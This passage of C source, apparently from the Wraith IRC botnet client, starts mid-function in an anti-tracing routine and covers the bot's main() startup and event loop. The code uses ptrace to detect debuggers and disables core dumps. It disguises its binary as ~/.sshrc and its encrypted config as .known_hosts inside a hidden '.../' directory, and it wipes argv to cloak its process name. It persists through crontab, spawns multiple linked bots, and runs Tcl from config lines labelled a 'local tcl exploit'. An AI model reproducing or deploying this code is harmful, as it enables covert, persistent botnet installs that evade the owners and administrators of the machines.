  773. kill(parent, SIGKILL);
  774. exit(1);
  775. #endif /* S_MESSUPTERM */
  776. } else {
  777. waitpid(parent, &i, 0);
  778. kill(parent, SIGCHLD);
  779. ptrace(PTRACE_DETACH, parent, 0, 0);
  780. kill(parent, SIGCHLD);
  781. }
  782. exit(0);
  783. } else {
  784. wait(&i);
  785. }
  786. #endif /* __linux__ */
  787. #ifdef __FreeBSD__
  788. xx = fork();
  789. if (xx == -1) {
  790. printf(STR("Can't fork process!\n"));
  791. exit(1);
  792. } else if (xx == 0) {
  793. i = ptrace(PT_ATTACH, parent, 0, 0);
  794. if (i == (-1) && errno == EBUSY) {
  795. #ifdef S_MESSUPTERM
  796. messup_term();
  797. #else
  798. kill(parent, SIGKILL);
  799. exit(1);
  800. #endif /* S_MESSUPTERM */
  801. } else {
  802. wait(&i);
  803. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  804. kill(parent, SIGCHLD);
  805. wait(&i);
  806. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  807. wait(&i);
  808. }
  809. exit(0);
  810. } else {
  811. waitpid(xx, NULL, 0);
  812. }
  813. #endif /* __FreeBSD__ */
  814. #ifdef __OpenBSD__
  815. xx = fork();
  816. if (xx == -1) {
  817. printf(STR("Can't fork process!\n"));
  818. exit(1);
  819. } else if (xx == 0) {
  820. i = ptrace(PT_ATTACH, parent, 0, 0);
  821. if (i == (-1) && errno == EBUSY) {
  822. kill(parent, SIGKILL);
  823. exit(1);
  824. } else {
  825. wait(&i);
  826. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  827. kill(parent, SIGCHLD);
  828. wait(&i);
  829. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  830. wait(&i);
  831. }
  832. exit(0);
  833. } else {
  834. waitpid(xx, NULL, 0);
  835. }
  836. #endif /* __OpenBSD__ */
  837. #endif /* S_ANTITRACE */
  838. }
  839. int main(int argc, char **argv)
  840. {
  841. int xx, i;
  842. #ifdef LEAF
  843. int x = 1;
  844. #endif
  845. char buf[SGRAB + 9], s[25];
  846. FILE *f;
  847. #ifdef LEAF
  848. int skip = 0;
  849. int ok = 1;
  850. #endif
  851. #ifndef DEBUG_MEM
  852. {
  853. struct rlimit cdlim, plim, fdlim, corelim;
  854. /* struct rsslim, stacklim;
  855. rsslim.rlim_cur = 30720;
  856. rsslim.rlim_max = 30720;
  857. setrlimit(RLIMIT_RSS, &rsslim);
  858. stacklim.rlim_cur = 30720;
  859. stacklim.rlim_max = 30720;
  860. setrlimit(RLIMIT_STACK, &stacklim);
  861. */
  862. /* do NOT dump a core. */
  863. corelim.rlim_cur = 0;
  864. corelim.rlim_max = 0;
  865. setrlimit(RLIMIT_CORE, &corelim);
  866. plim.rlim_cur = 50;
  867. plim.rlim_max = 50;
  868. setrlimit(RLIMIT_NPROC, &plim);
  869. fdlim.rlim_cur = 200;
  870. fdlim.rlim_max = 200;
  871. setrlimit(RLIMIT_NOFILE, &fdlim);
  872. }
  873. #else /* DEBUG_MEM */
  874. {
  875. struct rlimit cdlim;
  876. cdlim.rlim_cur = RLIM_INFINITY;
  877. cdlim.rlim_max = RLIM_INFINITY;
  878. setrlimit(RLIMIT_CORE, &cdlim);
  879. }
  880. #endif /* !DEBUG_MEM */
  881. /* Initialise context list */
  882. for (i = 0; i < 16; i++)
  883. Context;
  884. /* Version info! */
  885. egg_snprintf(ver, sizeof ver, "Wraith %s", egg_version);
  886. egg_snprintf(version, sizeof version, "Wraith %s (%u/%lu)", egg_version, egg_numver, buildts);
  887. #ifdef STOP_UAC
  888. {
  889. int nvpair[2];
  890. nvpair[0] = SSIN_UACPROC;
  891. nvpair[1] = UAC_NOPRINT;
  892. setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
  893. }
  894. #endif
  895. init_signals();
  896. Context;
  897. /* Initialize variables and stuff */
  898. now = time(NULL);
  899. chanset = NULL;
  900. #ifdef S_UTCTIME
  901. egg_memcpy(&nowtm, gmtime(&now), sizeof(struct tm));
  902. #else /* !S_UTCTIME */
  903. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  904. #endif /* S_UTCTIME */
  905. lastmin = nowtm.tm_min;
  906. srandom(now % (getpid() + getppid()));
  907. init_mem();
  908. myuid = geteuid();
  909. binname = getfullbinname(argv[0]);
  910. /* just load everything now, won't matter if it's loaded if the bot has to suicide on startup */
  911. init_settings();
  912. init_dcc_max();
  913. init_userent();
  914. init_misc();
  915. init_bots();
  916. init_net();
  917. init_modules();
  918. init_tcl(argc, argv);
  919. init_auth();
  920. init_config();
  921. init_botcmd();
  922. link_statics();
  923. if (!can_stat(binname))
  924. werr(ERR_BINSTAT);
  925. if (!fixmod(binname))
  926. werr(ERR_BINMOD);
  927. if (argc) {
  928. sdprintf(STR("Calling dtx_arg with %d params."), argc);
  929. dtx_arg(argc, argv);
  930. }
  931. if (checktrace)
  932. check_trace_start();
  933. #ifdef HUB
  934. egg_snprintf(tempdir, sizeof tempdir, "%s/tmp/", confdir());
  935. #endif /* HUB */
  936. #ifdef LEAF
  937. {
  938. char newbin[DIRMAX];
  939. sdprintf(STR("my uid: %d my uuid: %d, my ppid: %d my pid: %d"), getuid(), geteuid(), getppid(), getpid());
  940. chdir(homedir());
  941. egg_snprintf(newbin, sizeof newbin, "%s/.sshrc", homedir());
  942. egg_snprintf(tempdir, sizeof tempdir, "%s/.../", confdir());
  943. sdprintf(STR("newbin at: %s"), newbin);
  944. if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
  945. sdprintf(STR("wrong dir, is: %s :: %s"), binname, newbin);
  946. unlink(newbin);
  947. if (copyfile(binname,newbin))
  948. ok = 0;
  949. if (ok)
  950. if (!can_stat(newbin)) {
  951. unlink(newbin);
  952. ok = 0;
  953. }
  954. if (ok)
  955. if (!fixmod(newbin)) {
  956. unlink(newbin);
  957. ok = 0;
  958. }
  959. if (!ok)
  960. werr(ERR_WRONGBINDIR);
  961. else {
  962. unlink(binname);
  963. system(newbin);
  964. sdprintf(STR("exiting to let new binary run..."));
  965. exit(0);
  966. }
  967. }
  968. // Ok if we are here, then the binary is accessable and in the correct directory, now lets do the local config...
  969. }
  970. #endif /* LEAF */
  971. {
  972. char tmp[DIRMAX];
  973. egg_snprintf(tmp, sizeof tmp, "%s/", confdir());
  974. if (!can_stat(tmp)) {
  975. #ifdef LEAF
  976. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  977. unlink(confdir());
  978. if (!can_stat(confdir()))
  979. if (mkdir(confdir(), S_IRUSR | S_IWUSR | S_IXUSR))
  980. #endif /* LEAF */
  981. werr(ERR_CONFSTAT);
  982. #ifdef LEAF
  983. }
  984. #endif /* LEAF */
  985. }
  986. egg_snprintf(tmp, sizeof tmp, "%s", tempdir);
  987. if (!can_stat(tmp)) {
  988. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  989. unlink(tempdir);
  990. if (!can_stat(tempdir))
  991. if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
  992. werr(ERR_TMPSTAT);
  993. }
  994. }
  995. }
  996. if (!fixmod(confdir()))
  997. werr(ERR_CONFDIRMOD);
  998. if (!fixmod(tempdir))
  999. werr(ERR_TMPMOD);
  1000. //The config dir is accessable with correct permissions, lets read/write/create config file now..
  1001. { /* config shit */
  1002. char cfile[DIRMAX], templine[8192];
  1003. #ifdef LEAF
  1004. egg_snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir());
  1005. #else /* HUB */
  1006. egg_snprintf(cfile, sizeof cfile, "%s/conf", confdir());
  1007. #endif /* LEAF */
  1008. if (!can_stat(cfile))
  1009. werr(ERR_NOCONF);
  1010. if (!fixmod(cfile))
  1011. werr(ERR_CONFMOD);
  1012. #ifdef LEAF
  1013. if (localhub) {
  1014. #endif /* LEAF */
  1015. i = 0;
  1016. if (!(f = fopen(cfile, "r")))
  1017. werr(0);
  1018. Context;
  1019. while(fscanf(f, "%[^\n]\n", templine) != EOF) {
  1020. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps, c[1024];
  1021. void *temp_ptr;
  1022. int skip = 0;
  1023. temps = temp_ptr = decrypt_string(SALT1, templine);
  1024. if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
  1025. sdprintf(STR("line %d, char %c "), i, temps[0]);
  1026. werr(ERR_CONFBADENC);
  1027. }
  1028. egg_snprintf(c, sizeof c, "%s", temps);
  1029. if (c[0] == '*') {
  1030. skip = 1;
  1031. } else if (c[0] == '-' && !skip) { /* uid */
  1032. newsplit(&temps);
  1033. if (geteuid() != atoi(temps)) {
  1034. sdprintf(STR("wrong uid, conf: %d :: %d"), atoi(temps), geteuid());
  1035. werr(ERR_WRONGUID);
  1036. }
  1037. } else if (c[0] == '+' && !skip) { /* uname */
  1038. int r = 0;
  1039. newsplit(&temps);
  1040. if ((r = strcmp(temps, my_uname()))) {
  1041. baduname(temps, my_uname());
  1042. sdprintf(STR("wrong uname, conf: %s :: %s"), temps, my_uname());
  1043. werr(ERR_WRONGUNAME);
  1044. }
  1045. } else if (c[0] == '!') { //local tcl exploit
  1046. if (c[1] == '-') { //dont use pscloak
  1047. #ifdef S_PSCLOAK
  1048. sdprintf(STR("NOT CLOAKING"));
  1049. #endif /* S_PSCLOAK */
  1050. pscloak = 0;
  1051. } else {
  1052. newsplit(&temps);
  1053. Tcl_Eval(interp, temps);
  1054. }
  1055. } else if (c[0] != '#') { //now to parse nick/hosts
  1056. //we have the right uname/uid, safe to setup crontab now.
  1057. i++;
  1058. nick = newsplit(&temps);
  1059. if (!nick || !nick[0])
  1060. werr(ERR_BADCONF);
  1061. sdprintf(STR("Read nick from config: %s"), nick);
  1062. if (temps[0])
  1063. ip = newsplit(&temps);
  1064. if (temps[0])
  1065. host = newsplit(&temps);
  1066. if (temps[0])
  1067. ipsix = newsplit(&temps);
  1068. if (i == 1) { //this is the first bot ran/parsed
  1069. strncpyz(s, ctime(&now), sizeof s);
  1070. strcpy(&s[11], &s[20]);
  1071. if (ip && ip[0] == '!') { //natip
  1072. ip++;
  1073. sprintf(natip, "%s",ip);
  1074. } else {
  1075. if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
  1076. egg_snprintf(myip, 120, "%s", ip);
  1077. }
  1078. egg_snprintf(origbotname, 10, "%s", nick);
  1079. #ifdef HUB
  1080. sprintf(userfile, "%s/.u", confdir());
  1081. #endif /* HUB */
  1082. /* log sprintf(logfile, "%s/.%s.log", confdir(), nick); */
  1083. if (host && host[1]) { //only copy host if it is longer than 1 char (.)
  1084. if (host[0] == '+') { //ip6 host
  1085. host++;
  1086. sprintf(hostname6, "%s",host);
  1087. } else //normal ip4 host
  1088. sprintf(hostname, "%s",host);
  1089. }
  1090. if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
  1091. egg_snprintf(myip6, 120, "%s",ipsix);
  1092. }
  1093. } //First bot in conf
  1094. #ifdef LEAF
  1095. else { //these are the rest of the bots..
  1096. char buf2[DIRMAX];
  1097. FILE *fp;
  1098. xx = 0, x = 0, errno = 0;
  1099. s[0] = '\0';
  1100. /* first let's determine if the bot is already running or not.. */
  1101. egg_snprintf(buf2, sizeof buf2, "%s.pid.%s", tempdir, nick);
  1102. fp = fopen(buf2, "r");
  1103. if (fp != NULL) {
  1104. fgets(s, 10, fp);
  1105. fclose(fp);
  1106. xx = atoi(s);
  1107. if (updating) {
  1108. x = kill(xx, SIGKILL); //try to kill the pid if we are updating.
  1109. unlink(buf2);
  1110. }
  1111. kill(xx, SIGCHLD);
  1112. if (errno == ESRCH || (updating && !x)) { //PID is !running, safe to run.
  1113. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1114. printf(STR("* Failed to spawn %s\n"), nick); //This probably won't ever happen.
  1115. } else if (!x)
  1116. sdprintf(STR("%s is already running, pid: %d"), nick, xx);
  1117. } else {
  1118. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1119. printf(STR("* Failed to spawn %s\n"), nick); //This probably won't ever happen.
  1120. }
  1121. }
  1122. #endif /* LEAF */
  1123. }
  1124. nfree(temp_ptr);
  1125. } /* while(fscan) */
  1126. fclose(f);
  1127. #ifdef LEAF
  1128. if (updating)
  1129. exit(0); /* let cron restart us. */
  1130. } /* localhub */
  1131. #endif /* LEAF */
  1132. }
  1133. module_load("dns");
  1134. module_load("channels");
  1135. #ifdef LEAF
  1136. module_load("server");
  1137. module_load("irc");
  1138. #endif /* LEAF */
  1139. module_load("transfer");
  1140. module_load("share");
  1141. module_load("update");
  1142. module_load("notes");
  1143. module_load("console");
  1144. module_load("ctcp");
  1145. module_load("compress");
  1146. chanprog();
  1147. clear_tmp();
  1148. #ifdef LEAF
  1149. if (localhub) {
  1150. sdprintf(STR("I am localhub (%s)"), origbotname);
  1151. #endif /* LEAF */
  1152. check_crontab();
  1153. #ifdef LEAF
  1154. }
  1155. #endif /* LEAF */
  1156. cache_miss = 0;
  1157. cache_hit = 0;
  1158. if (!pid_file[0])
  1159. egg_snprintf(pid_file, sizeof pid_file, "%s.pid.%s", tempdir, botnetnick);
  1160. if ((localhub && !updating) || !localhub) {
  1161. if ((f = fopen(pid_file, "r")) != NULL) {
  1162. fgets(s, 10, f);
  1163. xx = atoi(s);
  1164. kill(xx, SIGCHLD);
  1165. if (errno != ESRCH) { //!= is PID is running.
  1166. sdprintf(STR("%s is already running, pid: %d"), botnetnick, xx);
  1167. exit(1);
  1168. }
  1169. fclose(f);
  1170. }
  1171. }
  1172. #ifdef LEAF
  1173. #ifdef S_PSCLOAK
  1174. if (pscloak) {
  1175. int on = 0;
  1176. char *p = progname();
  1177. egg_memset(argv[0], 0, strlen(argv[0]));
  1178. strncpyz(argv[0], p, strlen(p) + 1);
  1179. for (on = 1; on < argc; on++) egg_memset(argv[on], 0, strlen(argv[on]));
  1180. }
  1181. #endif /* PSCLOAK */
  1182. #endif /* LEAF */
  1183. putlog(LOG_MISC, "*", STR("=== %s: %d users."), botnetnick, count_users(userlist));
  1184. /* Move into background? */
  1185. if (backgrd) {
  1186. #ifndef CYGWIN_HACKS
  1187. bg_do_split();
  1188. } else { /* !backgrd */
  1189. #endif /* CYGWIN_HACKS */
  1190. xx = getpid();
  1191. if (xx != 0) {
  1192. /* Write pid to file */
  1193. unlink(pid_file);
  1194. if ((f = fopen(pid_file, "w")) != NULL) {
  1195. fprintf(f, "%u\n", xx);
  1196. if (fflush(f)) {
  1197. /* Let the bot live since this doesn't appear to be a botchk */
  1198. printf(EGG_NOWRITE, pid_file);
  1199. unlink(pid_file);
  1200. fclose(f);
  1201. } else {
  1202. fclose(f);
  1203. }
  1204. } else
  1205. printf(EGG_NOWRITE, pid_file);
  1206. #ifdef CYGWIN_HACKS
  1207. printf(STR("Launched into the background (pid: %d)\n\n"), xx);
  1208. #endif /* CYGWIN_HACKS */
  1209. }
  1210. }
  1211. use_stderr = 0; /* Stop writing to stderr now */
  1212. if (backgrd) {
  1213. /* Ok, try to disassociate from controlling terminal (finger cross) */
  1214. #if HAVE_SETPGID && !defined(CYGWIN_HACKS)
  1215. setpgid(0, 0);
  1216. #endif
  1217. /* Tcl wants the stdin, stdout and stderr file handles kept open. */
  1218. freopen("/dev/null", "r", stdin);
  1219. freopen("/dev/null", "w", stdout);
  1220. freopen("/dev/null", "w", stderr);
  1221. #ifdef CYGWIN_HACKS
  1222. FreeConsole();
  1223. #endif /* CYGWIN_HACKS */
  1224. }
  1225. /* Terminal emulating dcc chat */
  1226. if (!backgrd && term_z) {
  1227. int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
  1228. dcc[n].addr = iptolong(getmyip());
  1229. dcc[n].sock = STDOUT;
  1230. dcc[n].timeval = now;
  1231. dcc[n].u.chat->con_flags = conmask;
  1232. dcc[n].u.chat->strip_flags = STRIP_ALL;
  1233. dcc[n].status = STAT_ECHO;
  1234. strcpy(dcc[n].nick, "HQ");
  1235. strcpy(dcc[n].host, "llama@console");
  1236. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1237. /* Make sure there's an innocuous HQ user if needed */
  1238. if (!dcc[n].user) {
  1239. userlist = adduser(userlist, "HQ", "none", "-", USER_ADMIN | USER_OWNER | USER_MASTER | USER_VOICE | USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA);
  1240. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1241. }
  1242. setsock(STDOUT, 0); /* Entry in net table */
  1243. dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
  1244. dcc_chatter(n);
  1245. }
  1246. then = now;
  1247. online_since = now;
  1248. autolink_cycle(NULL); /* Hurry and connect to tandem bots */
  1249. add_hook(HOOK_SECONDLY, (Function) core_secondly);
  1250. add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
  1251. add_hook(HOOK_30SECONDLY, (Function) expire_simuls);
  1252. add_hook(HOOK_MINUTELY, (Function) core_minutely);
  1253. add_hook(HOOK_HOURLY, (Function) core_hourly);
  1254. add_hook(HOOK_HALFHOURLY, (Function) core_halfhourly);
  1255. add_hook(HOOK_REHASH, (Function) event_rehash);
  1256. add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
  1257. add_hook(HOOK_USERFILE, (Function) event_save);
  1258. add_hook(HOOK_DAILY, (Function) event_resettraffic);
  1259. debug0(STR("main: entering loop"));
  1260. while (1) {
  1261. int socket_cleanup = 0;
  1262. /* Process a single tcl event */
  1263. Tcl_DoOneEvent(TCL_ALL_EVENTS | TCL_DONT_WAIT);
  1264. /* Lets move some of this here, reducing the numer of actual
  1265. * calls to periodic_timers
  1266. */
  1267. now = time(NULL);
  1268. if (now != then) { /* Once a second */
  1269. call_hook(HOOK_SECONDLY);
  1270. then = now;
  1271. }
  1272. /* Only do this every so often. */
  1273. if (!socket_cleanup) {
  1274. socket_cleanup = 5;
  1275. /* Remove dead dcc entries. */
  1276. dcc_remove_lost();
  1277. /* Check for server or dcc activity. */
  1278. dequeue_sockets();
  1279. } else
  1280. socket_cleanup--;
  1281. /* Free unused structures. */
  1282. garbage_collect();
  1283. buf[0] = 0;
  1284. xx = sockgets(buf, &i);
  1285. if (xx >= 0) { /* Non-error */
  1286. int idx;
  1287. for (idx = 0; idx < dcc_total; idx++)
  1288. if (dcc[idx].sock == xx) {
  1289. if (dcc[idx].type && dcc[idx].type->activity) {
  1290. /* Traffic stats */
  1291. if (dcc[idx].type->name) {
  1292. if (!strncmp(dcc[idx].type->name, "BOT", 3))
  1293. itraffic_bn_today += strlen(buf) + 1;
  1294. else if (!strcmp(dcc[idx].type->name, "SERVER"))
  1295. itraffic_irc_today += strlen(buf) + 1;
  1296. else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
  1297. itraffic_dcc_today += strlen(buf) + 1;
  1298. else if (!strncmp(dcc[idx].type->name, "FILES", 5))
  1299. itraffic_dcc_today += strlen(buf) + 1;
  1300. else if (!strcmp(dcc[idx].type->name, "SEND"))
  1301. itraffic_trans_today += strlen(buf) + 1;
  1302. else if (!strncmp(dcc[idx].type->name, "GET", 3))
  1303. itraffic_trans_today += strlen(buf) + 1;
  1304. else
  1305. itraffic_unknown_today += strlen(buf) + 1;
  1306. }
  1307. dcc[idx].type->activity(idx, buf, i);
  1308. } else
  1309. putlog(LOG_MISC, "*",
  1310. "!!! untrapped dcc activity: type %s, sock %d",
  1311. dcc[idx].type->name, dcc[idx].sock);
  1312. break;
  1313. }
  1314. } else if (xx == -1) { /* EOF from someone */
  1315. int idx;
  1316. if (i == STDOUT && !backgrd)
  1317. fatal(STR("END OF FILE ON TERMINAL"), 0);
  1318. for (idx = 0; idx < dcc_total; idx++)
  1319. if (dcc[idx].sock == i) {
  1320. if (dcc[idx].type && dcc[idx].type->eof)
  1321. dcc[idx].type->eof(idx);
  1322. else {
  1323. putlog(LOG_MISC, "*",
  1324. "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
  1325. i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
  1326. killsock(i);
  1327. lostdcc(idx);
  1328. }
  1329. idx = dcc_total + 1;
  1330. }
  1331. if (idx == dcc_total) {
  1332. putlog(LOG_MISC, "*",
  1333. "(@) EOF socket %d, not a dcc socket, not anything.", i);
  1334. close(i);
  1335. killsock(i);
  1336. }
  1337. } else if (xx == -2 && errno != EINTR) { /* select() error */
  1338. putlog(LOG_MISC, "*", STR("* Socket error #%d; recovering."), errno);
  1339. for (i = 0; i < dcc_total; i++) {
  1340. if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
  1341. putlog(LOG_MISC, "*",
  1342. "DCC socket %d (type %d, name '%s') expired -- pfft",
  1343. dcc[i].sock, dcc[i].type, dcc[i].nick);
  1344. killsock(dcc[i].sock);
  1345. lostdcc(i);
  1346. i--;
  1347. }
  1348. }
  1349. } else if (xx == -3) {
  1350. call_hook(HOOK_IDLE);
  1351. socket_cleanup = 0; /* If we've been idle, cleanup & flush */
  1352. }
  1353. if (do_restart) {
  1354. rehash();
  1355. do_restart = 0;
  1356. }
  1357. }
  1358. }